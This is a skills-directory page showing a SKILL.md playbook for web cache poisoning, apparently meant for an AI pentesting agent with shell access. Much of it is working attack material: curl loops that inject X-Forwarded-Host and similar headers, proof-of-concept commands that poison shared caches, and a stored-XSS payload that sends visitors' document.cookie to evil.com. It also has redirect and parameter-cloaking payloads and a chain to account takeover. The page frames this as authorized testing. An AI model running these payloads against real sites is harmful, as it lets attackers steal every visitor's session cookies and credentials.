Skip to main content

web-cache-poisoning

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

インストールへ移動

ソース情報

リポジトリ
BitterSecurity/Decepticon
ソースの最終更新活動
2026年6月1日 23:00
検出された SKILL.md の言語
英語
スター
5,611
フォーク
1,061

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
web-cache-poisoning
description
Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","mitre_attack":"T1565.001","subdomain":"execution","tags":"web-application, cache, cdn, unkeyed-input, stored-xss"}
# Web Cache Poisoning Playbook Distinct from *cache deception* (tricking the cache into storing a victim's private response). Here, the attacker poisons the **shared** cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS. ## 1. Detection — find unkeyed inputs Definition: an *unkeyed* input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response. ```bash URL="https://<TARGET>/" # (1) Cache-status fingerprint — must see HIT/MISS to know caching exists curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via" # (2) Suspect headers — reflect into body or Location? for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \ "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \ "X-Host: evil.com" "X-Original-URL: /admin" \ "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \ "Forwarded: host=evil.com"; do echo "== $H ==" curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3 done # (3) Confirm poisoning — same URL twice, second request WITHOUT the header curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned ``` ## 2. Misconfig / technique matrix | Class | Trigger | Outcome | |---|---|---| | Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `<link rel=canonical>` or absolute URLs | stored open-redirect / XSS | | Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM | | Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS | | Routing override | `X-Original-URL: /admin`, `X-Rewrite-URL` | cached admin page served to public | | Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body | | Parameter cloaking | `?utm=x&utm=<payload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives | | Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response | | Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning | | HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning | | Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally | | Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL | | 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS | ## 3. Exploit PoC ### 3.1 Stored-XSS via unkeyed Host ```bash # Origin reflects X-Forwarded-Host into <meta property="og:url"> curl -s "https://<TARGET>/?cb=$RANDOM" \ -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="' # Verify cache HIT for the next visitor: curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com' ``` ### 3.2 Forced redirect ```bash curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null # Subsequent victims: curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location # → Location: https://evil.com/login (cached for the TTL) ``` ### 3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins) ```bash curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E" ``` ## 4. Chains - **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response. - **Cache poisoning → ATO**: poison `/login` to send creds to attacker via swapped form action. - **Cache poisoning → SSRF**: poison API responses an internal job consumes. - **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally. ## 5. Tools - Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool - `cache-poisoning` payload lists (PortSwigger research) - `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary/`X-Cache` ## 6. Detection signatures & OPSEC | Indicator | Detection method | OPSEC note | |---|---|---| | Repeated `X-Forwarded-*` permutations on one URL | WAF rule / access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests | | Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own | | Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure | ## Decision Gate: poisoning confirmed → exploitation - [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks) - [ ] At least one unkeyed input reflects into response/redirect - [ ] A second request without the input still returns the poisoned response - [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action) - [ ] Defender notified before live-cache exploitation (authorized scope) If all checked, escalate per `finding-protocol`; otherwise downgrade.
GitHubで見る